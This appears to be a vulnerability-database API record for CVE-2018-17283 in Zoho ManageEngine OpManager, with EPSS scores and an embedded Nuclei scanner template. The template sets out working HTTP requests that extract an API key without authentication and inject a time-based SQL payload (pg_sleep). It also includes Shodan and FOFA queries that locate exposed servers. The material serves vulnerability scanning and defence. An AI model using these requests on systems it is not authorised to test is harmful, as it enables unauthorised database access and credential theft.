{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2018-17283/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2018-17283/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2018-17283/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2018-17283/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2018-17283/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2018-17283"},"sightings":{"href":"/api/v1/sightings/cve-2018-17283"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.66347,"kev":false,"percentile":0.99248},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2018/CVE-2018-17283.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2018-17283\n\ninfo:\n  name: Zoho ManageEngine OpManager - SQL Injection\n  author: DhiyaneshDK\n  severity: high\n  description: |\n    Zoho ManageEngine OpManager before 12.3 Build 123196 does not require authentication for /oputilsServlet requests, as demonstrated by a /oputilsServlet?action=getAPIKey request that can be leveraged against Firewall Analyzer to add an admin user via /api/json/v2/admin/addUser or conduct a SQL Injection attack via the /api/json/device/setManaged name parameter.\n  impact: |\n    Unauthenticated attackers can execute SQL injection attacks to access or modify database contents, add administrator users, or extract sensitive information including credentials.\n  remediation: |\n    Upgrade to ManageEngine OpManager version 12.3 Build 123196 or later.\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2018-17283\n    cwe-id: CWE-89\n    epss-score: 0.66347\n    epss-percentile: 0.99248\n    cpe: cpe:2.3:a:zohocorp:manageengine_opmanager:*:*:*:*:*:*:*:*\n  reference:\n    - https://github.com/x-f1v3/forcve/issues/4\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-17283\n  metadata:\n    verified: true\n    vendor: zohocorp\n    product: manageengine_opmanager\n    shodan-query: http.title:\"OpManager\"\n    fofa-query: title=\"OpManager\"\n  tags: cve,cve2018,oputils,zoho,opmanager,sqli,time-based-sqli,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /oputilsServlet?action=getAPIKey HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        name: api_key\n        regex:\n          - 'API_KEY=([0-9a-z]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/json/device/setManaged?apiKey={{api_key}}&manage=false HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Requested-With: XMLHttpRequest\n\n        name=KcP7OGhC';select%20pg_sleep(6);%20--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"duration>=6\"\n          - \"status_code == 200\"\n          - 'contains(body,\"result\")'\n          - 'contains(content_type,\"application/json\")'\n        condition: and\n# digest: 4a0a00473045022100de02453b9b3be49849ae440b208de2efb3525713281c7eb040e8e2552a1330760220330fd4de27330407fae607d62c7411f570efa7aa7726f7314283122cd6054a1c:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2018-17283"}